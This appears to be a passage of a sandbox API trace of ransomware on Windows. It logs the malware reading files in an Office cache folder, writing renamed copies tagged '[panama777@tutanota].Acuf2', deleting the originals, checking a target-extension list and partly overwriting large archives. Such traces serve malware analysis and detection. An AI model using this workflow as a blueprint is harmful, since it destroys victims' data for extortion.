	[0054.982] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020
	[0054.982] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0054.982] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0054.982] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0054.982] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0054.982] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0054.982] GetLastError () returned 0x0
	[0054.982] ReadFile (in: hFile=0x178, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0055.270] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0055.540] ReadFile (in: hFile=0x178, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x50588, lpOverlapped=0x0) returned 1
	[0055.553] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x50590, lpOverlapped=0x0) returned 1
	[0055.562] ReadFile (in: hFile=0x178, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0055.562] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0055.562] SetEndOfFile (hFile=0x20c) returned 1
	[0055.563] CloseHandle (hObject=0x20c) returned 1
	[0055.563] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.563] SetEndOfFile (hFile=0x178) returned 1
	[0055.567] CloseHandle (hObject=0x178) returned 1
	[0055.567] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0055.567] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1
	[0055.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.568] lstrlenW (lpString=".doc") returned 4
	[0055.568] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0055.568] lstrlenW (lpString=".docx") returned 5
	[0055.568] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0055.568] lstrlenW (lpString=".pdf") returned 4
	[0055.568] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0055.568] lstrlenW (lpString=".xls") returned 4
	[0055.568] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0055.568] lstrlenW (lpString=".xlsx") returned 5
	[0055.568] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0055.568] lstrlenW (lpString=".ppt") returned 4
	[0055.568] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0055.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.568] lstrlenW (lpString=".zip") returned 4
	[0055.568] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0055.568] lstrlenW (lpString=".rar") returned 4
	[0055.568] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0055.568] lstrlenW (lpString=".bz2") returned 4
	[0055.568] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0055.568] lstrlenW (lpString=".7z") returned 3
	[0055.568] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0055.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.568] lstrlenW (lpString=".dbf") returned 4
	[0055.568] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0055.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.569] lstrlenW (lpString=".1cd") returned 4
	[0055.569] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0055.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.569] lstrlenW (lpString=".jpg") returned 4
	[0055.569] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0055.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.569] lstrlenW (lpString=".doc") returned 4
	[0055.569] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0055.569] lstrlenW (lpString=".docx") returned 5
	[0055.569] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0055.569] lstrlenW (lpString=".pdf") returned 4
	[0055.569] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0055.569] lstrlenW (lpString=".xls") returned 4
	[0055.569] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0055.569] lstrlenW (lpString=".xlsx") returned 5
	[0055.569] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0055.569] lstrlenW (lpString=".ppt") returned 4
	[0055.569] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0055.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.569] lstrlenW (lpString=".zip") returned 4
	[0055.569] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0055.569] lstrlenW (lpString=".rar") returned 4
	[0055.569] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0055.569] lstrlenW (lpString=".bz2") returned 4
	[0055.570] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0055.570] lstrlenW (lpString=".7z") returned 3
	[0055.570] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0055.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.570] lstrlenW (lpString=".dbf") returned 4
	[0055.570] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0055.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.570] lstrlenW (lpString=".1cd") returned 4
	[0055.570] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0055.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0055.570] lstrlenW (lpString=".jpg") returned 4
	[0055.570] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0055.570] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0055.570] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0055.570] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0055.665] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=36233052) returned 1
	[0055.665] CloseHandle (hObject=0x1bc) returned 1
	[0055.665] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020
	[0055.665] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.665] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0055.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0055.666] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1
	[0055.666] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0055.666] ReadFile (in: hFile=0x1bc, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0055.671] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0055.671] ReadFile (in: hFile=0x1bc, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0055.674] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0055.674] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0055.674] ReadFile (in: hFile=0x1bc, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0055.691] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.691] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0055.947] SetEndOfFile (hFile=0x1bc) returned 1
	[0055.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fc3010
	[0055.952] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.952] WriteFile (in: hFile=0x1bc, lpBuffer=0x3fc3010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc3010*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.953] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.953] WriteFile (in: hFile=0x1bc, lpBuffer=0x3fc3010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc3010*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.953] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.953] WriteFile (in: hFile=0x1bc, lpBuffer=0x3fc3010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc3010*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.955] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fc3010 | out: hHeap=0x4f0000) returned 1
	[0055.955] CloseHandle (hObject=0x1bc) returned 1
	[0055.956] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0055.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.956] lstrlenW (lpString=".doc") returned 4
	[0055.957] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0055.957] lstrlenW (lpString=".docx") returned 5
	[0055.957] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0055.957] lstrlenW (lpString=".pdf") returned 4
	[0055.957] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0055.957] lstrlenW (lpString=".xls") returned 4
	[0055.957] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0055.957] lstrlenW (lpString=".xlsx") returned 5
	[0055.957] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0055.957] lstrlenW (lpString=".ppt") returned 4
	[0055.957] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0055.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.957] lstrlenW (lpString=".zip") returned 4
	[0055.957] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0055.957] lstrlenW (lpString=".rar") returned 4
	[0055.957] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0055.957] lstrlenW (lpString=".bz2") returned 4
	[0055.957] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0055.957] lstrlenW (lpString=".7z") returned 3
	[0055.957] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0055.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.957] lstrlenW (lpString=".dbf") returned 4
	[0055.957] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0055.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.957] lstrlenW (lpString=".1cd") returned 4
	[0055.957] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0055.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.957] lstrlenW (lpString=".jpg") returned 4
	[0055.957] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0055.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.958] lstrlenW (lpString=".doc") returned 4
	[0055.958] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0055.958] lstrlenW (lpString=".docx") returned 5
	[0055.958] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0055.958] lstrlenW (lpString=".pdf") returned 4
	[0055.958] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0055.958] lstrlenW (lpString=".xls") returned 4
	[0055.958] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0055.958] lstrlenW (lpString=".xlsx") returned 5
	[0055.958] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0055.958] lstrlenW (lpString=".ppt") returned 4
	[0055.958] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0055.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.958] lstrlenW (lpString=".zip") returned 4
	[0055.958] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0055.958] lstrlenW (lpString=".rar") returned 4
	[0055.958] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0055.958] lstrlenW (lpString=".bz2") returned 4
	[0055.958] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0055.958] lstrlenW (lpString=".7z") returned 3
	[0055.958] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0055.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.958] lstrlenW (lpString=".dbf") returned 4
	[0055.958] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0055.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.958] lstrlenW (lpString=".1cd") returned 4
	[0055.958] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0055.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.958] lstrlenW (lpString=".jpg") returned 4
	[0055.959] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0055.959] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0055.959] lstrlenW (lpString="setup.exe") returned 9
	[0055.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0057.341] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1377656) returned 1
	[0057.341] CloseHandle (hObject=0x20c) returned 1
	[0057.341] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020
	[0057.341] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0057.341] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0057.341] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.341] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.341] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0057.342] GetLastError () returned 0x0
	[0057.342] ReadFile (in: hFile=0x20c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0057.367] WriteFile (in: hFile=0x204, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0057.388] ReadFile (in: hFile=0x20c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x50588, lpOverlapped=0x0) returned 1
	[0057.401] WriteFile (in: hFile=0x204, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x50590, lpOverlapped=0x0) returned 1
	[0057.411] ReadFile (in: hFile=0x20c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0057.411] WriteFile (in: hFile=0x204, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0057.412] SetEndOfFile (hFile=0x204) returned 1
	[0057.412] CloseHandle (hObject=0x204) returned 1
	[0057.412] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.412] SetEndOfFile (hFile=0x20c) returned 1
	[0057.415] CloseHandle (hObject=0x20c) returned 1
	[0057.415] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0057.415] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1
	[0057.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.416] lstrlenW (lpString=".doc") returned 4
	[0057.416] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0057.416] lstrlenW (lpString=".docx") returned 5
	[0057.416] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0057.416] lstrlenW (lpString=".pdf") returned 4
	[0057.416] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0057.416] lstrlenW (lpString=".xls") returned 4
	[0057.416] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0057.416] lstrlenW (lpString=".xlsx") returned 5
	[0057.416] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0057.416] lstrlenW (lpString=".ppt") returned 4
	[0057.416] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0057.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.416] lstrlenW (lpString=".zip") returned 4
	[0057.416] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0057.416] lstrlenW (lpString=".rar") returned 4
	[0057.416] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0057.416] lstrlenW (lpString=".bz2") returned 4
	[0057.416] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0057.416] lstrlenW (lpString=".7z") returned 3
	[0057.416] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0057.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.416] lstrlenW (lpString=".dbf") returned 4
	[0057.416] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
